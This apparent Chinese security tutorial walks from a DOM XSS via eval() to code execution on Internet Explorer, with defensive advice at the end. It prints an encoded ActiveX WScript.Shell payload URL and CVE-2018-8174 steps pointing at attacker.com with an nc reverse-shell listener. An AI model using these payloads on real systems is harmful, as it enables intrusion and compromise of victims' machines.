记一次从DOM型XSS到RCE过程
字数 1171 2025-08-27 12:33:42
从DOM型XSS到RCE的漏洞利用教学文档
0x00 前言
本文详细讲解如何通过DOM型XSS漏洞实现远程代码执行(RCE)的全过程。传统XSS利用通常局限于Cookie窃取或CSRF攻击,而本文将展示如何突破浏览器限制,实现更高危害的系统命令执行。
0x01 DOM XSS漏洞挖掘
漏洞发现方法
- 寻找输入输出点:与常规XSS类似,寻找用户输入被直接输出的地方
- 分析JavaScript代码:特别关注以下高危函数:
eval()document.write()innerHTMLlocation相关操作
示例漏洞分析
示例站点存在以下问题:
- 主页调用index.js文件
- 接收platform参数
- 参数未经处理直接传入eval()函数
关键漏洞代码:
// 用正则表达式获取地址栏参数
function getParam(paramName) {
paramValue = "", isFound = !1;
if (this.location.search.indexOf(0 && this.location.search.indexOf("=") > 1) {
arrSource = unescape(this.location.search).substring(1, this.location.search.length).split("&"), i = 0;
while (i < arrSource.length && !isFound)
arrSource[i].indexOf("=") > 0 && arrSource[i].split("=")[0].toLowerCase() == paramName.toLowerCase() &&
(paramValue = arrSource[i].split("=")[1], isFound = !0), i++
}
return paramValue == null ? "" : paramValue
}
0x02 漏洞验证与调试
验证步骤
- 构造测试Payload:
http://xxx.xxx.xxx.xxx/?platform=alert("xss") - 在浏览器开发者工具中设置断点
- 观察参数传递过程:
- getParam()函数返回完整参数值
- 值直接传入eval()执行
执行效果
成功弹出alert框,证明XSS漏洞存在
0x03 从XSS到RCE
基本思路
利用JavaScript执行系统命令:
var o = new ActiveXObject("WScript.Shell");
o.run("calc.exe");
绕过限制技术
-
代码混淆:使用String.fromCharCode编码
String.fromCharCode(10,118,97,114,32,111,61,110,101,119,32,65,99,116,105,118,101,88,79,98,106,101,99,116,40,39,87,83,99,114,105,112,116,46,115,104,101,108,108,39,41,59,10,111,46,114,117,110,40,39,99,97,108,99,46,101,120,101,39,41,59,10) -
浏览器安全设置调整(仅IE有效):
- Internet选项 → 安全 → 自定义级别
- 启用"对没有标记为安全的ActiveX控件进行初始化和脚本运行"
完整Payload
http://xxx.xx.xxx.xxx/?platform=eval(String.fromCharCode(10,118,97,114,32,111,61,110,101,119,32,65,99,116,105,118,101,88,79,98,106,101,99,116,40,39,87,83,99,114,105,112,116,46,115,104,101,108,108,39,41,59,10,111,46,114,117,110,40,39,99,97,108,99,46,101,120,101,39,41,59,10));
0x04 高级利用:结合浏览器漏洞
当直接执行ActiveX被阻止时,可结合浏览器漏洞实现利用。
以CVE-2018-8174为例
利用步骤:
- 下载EXP工具:
https://github.com/Yt1g3r/CVE-2018-8174_EXP - 生成攻击页面:
python CVE-2018-8174.py -u http://attacker.com/exploit.html -i attacker_ip -p 4444 - 上传exploit.html到攻击者服务器
- 在攻击者机器监听端口:
nc -lvp 4444 - 诱导受害者访问XSS链接
效果:成功获取反弹shell
0x05 防御措施
针对开发人员
-
输入过滤:
- 对所有用户输入进行严格验证
- 使用白名单而非黑名单
-
避免高危函数:
- 替换eval()等危险函数
- 使用JSON.parse()等安全替代方案
-
输出编码:
- 对输出到HTML的内容进行HTML编码
- 使用textContent而非innerHTML
-
安全头设置:
- 设置Content-Security-Policy
- 启用X-XSS-Protection
针对系统管理员
- 保持浏览器和系统补丁最新
- 限制ActiveX控件的使用
- 部署WAF防护XSS攻击
0x06 总结
本文展示了从DOM型XSS到RCE的完整利用链,关键点包括:
- 发现并验证DOM XSS漏洞
- 通过ActiveXObject尝试执行系统命令
- 结合浏览器漏洞绕过安全限制
- 最终实现远程代码执行
这种攻击方式虽然受限于浏览器安全机制,但在特定环境下仍可能造成严重危害。防御需要从开发和管理两个层面同时着手。